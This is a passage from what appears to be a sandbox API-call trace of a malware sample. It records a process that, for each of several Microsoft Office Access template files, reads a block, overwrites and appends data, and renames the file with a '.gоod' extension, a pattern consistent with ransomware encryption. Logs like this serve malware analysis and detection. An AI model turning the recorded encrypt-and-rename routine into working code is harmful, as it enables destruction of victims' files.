"c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt.gоod")) returned 1 [0268.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0268.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0268.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3b4ec18 | out: lpFileInformation=0x3b4ec18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d)) returned 1 [0268.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0268.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0268.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0268.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0268.570] GetFileType (hFile=0x8a8) returned 0x1 [0268.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0268.570] GetFileType (hFile=0x8a8) returned 0x1 [0268.570] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0268.570] ReadFile (in: hFile=0x8a8, lpBuffer=0x3b4f050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3b4f050*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0268.571] CloseHandle (hObject=0x8a8) returned 1 [0268.571] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0268.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0268.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0268.571] GetFileType (hFile=0x8a8) returned 0x1 [0268.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0268.571] GetFileType (hFile=0x8a8) returned 0x1 [0268.571] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x4c6d [0268.571] WriteFile (in: hFile=0x8a8, lpBuffer=0x3b50398*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3b50398*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0268.573] CloseHandle (hObject=0x8a8) returned 1 [0268.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0268.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0268.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0268.573] GetFileType (hFile=0x8a8) returned 0x1 [0268.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0268.573] GetFileType (hFile=0x8a8) returned 0x1 [0268.573] ReadFile (in: hFile=0x8a8, lpBuffer=0x3b52738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3b52738*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0270.138] CloseHandle (hObject=0x8a8) returned 1 [0270.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0270.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0270.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0270.138] GetFileType (hFile=0x8a8) returned 0x1 [0270.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0270.138] GetFileType (hFile=0x8a8) returned 0x1 [0270.138] WriteFile (in: hFile=0x8a8, lpBuffer=0x343e3c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x343e3c0*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0270.138] CloseHandle (hObject=0x8a8) returned 1 [0270.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", lpFilePart=0x0) returned 0x4e [0270.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.gоod", lpFilePart=0x0) returned 0x53 [0270.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0270.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d39c79d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c7d)) returned 1 [0270.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0270.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt.gоod")) returned 1 [0270.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0270.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0270.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3812cf0 | out: lpFileInformation=0x3812cf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae09)) returned 1 [0270.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0270.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0270.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0270.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0270.142] GetFileType (hFile=0x8a8) returned 0x1 [0270.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0270.142] GetFileType (hFile=0x8a8) returned 0x1 [0270.142] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0270.142] ReadFile (in: hFile=0x8a8, lpBuffer=0x3813128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3813128*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0270.143] CloseHandle (hObject=0x8a8) returned 1 [0270.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0270.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0270.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0270.143] GetFileType (hFile=0x8a8) returned 0x1 [0270.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0270.143] GetFileType (hFile=0x8a8) returned 0x1 [0270.143] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0xae09 [0270.143] WriteFile (in: hFile=0x8a8, lpBuffer=0x3814590*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3814590*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0270.996] CloseHandle (hObject=0x8a8) returned 1 [0270.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0270.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0270.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0270.997] GetFileType (hFile=0x8a8) returned 0x1 [0270.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0270.997] GetFileType (hFile=0x8a8) returned 0x1 [0270.997] ReadFile (in: hFile=0x8a8, lpBuffer=0x38ef268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x38ef268*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0271.025] CloseHandle (hObject=0x8a8) returned 1 [0271.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0271.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0271.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.025] GetFileType (hFile=0x8a8) returned 0x1 [0271.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0271.026] GetFileType (hFile=0x8a8) returned 0x1 [0271.026] WriteFile (in: hFile=0x8a8, lpBuffer=0x38edfb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x38edfb0*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0271.026] CloseHandle (hObject=0x8a8) returned 1 [0271.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", lpFilePart=0x0) returned 0x4e [0271.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.gоod", lpFilePart=0x0) returned 0x53 [0271.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0271.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9dc26b64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xae19)) returned 1 [0271.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0271.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt.gоod")) returned 1 [0271.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0271.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0271.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), fInfoLevelId=0x0, lpFileInformation=0x396c8f0 | out: lpFileInformation=0x396c8f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56bc)) returned 1 [0271.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0271.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0271.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0271.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.029] GetFileType (hFile=0x8a8) returned 0x1 [0271.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0271.029] GetFileType (hFile=0x8a8) returned 0x1 [0271.029] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0271.029] ReadFile (in: hFile=0x8a8, lpBuffer=0x396cd18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x396cd18*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0271.428] CloseHandle (hObject=0x8a8) returned 1 [0271.475] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0271.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0271.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0271.475] GetFileType (hFile=0x768) returned 0x1 [0271.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0271.476] GetFileType (hFile=0x768) returned 0x1 [0271.476] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x56bc [0271.476] WriteFile (in: hFile=0x768, lpBuffer=0x37f41a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x37f41a8*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0271.477] CloseHandle (hObject=0x768) returned 1 [0271.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0271.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0271.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0271.477] GetFileType (hFile=0x768) returned 0x1 [0271.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0271.477] GetFileType (hFile=0x768) returned 0x1 [0271.478] ReadFile (in: hFile=0x768, lpBuffer=0x37f7488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x37f7488*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0272.413] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0272.883] CloseHandle (hObject=0x768) returned 1 [0272.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0272.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0272.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0272.884] GetFileType (hFile=0x768) returned 0x1 [0272.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0272.884] GetFileType (hFile=0x768) returned 0x1 [0272.884] WriteFile (in: hFile=0x768, lpBuffer=0x37f3ce0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x37f3ce0*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0272.884] CloseHandle (hObject=0x768) returned 1 [0272.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt", lpFilePart=0x0) returned 0x4c [0272.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.gоod", lpFilePart=0x0) returned 0x51 [0272.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0272.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ede233a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x56cc)) returned 1 [0272.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0272.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\List.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\list.accdt.gоod")) returned 1 [0272.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0272.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0272.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), fInfoLevelId=0x0, lpFileInformation=0x396dc58 | out: lpFileInformation=0x396dc58*(dwFileAttributes=0x220, 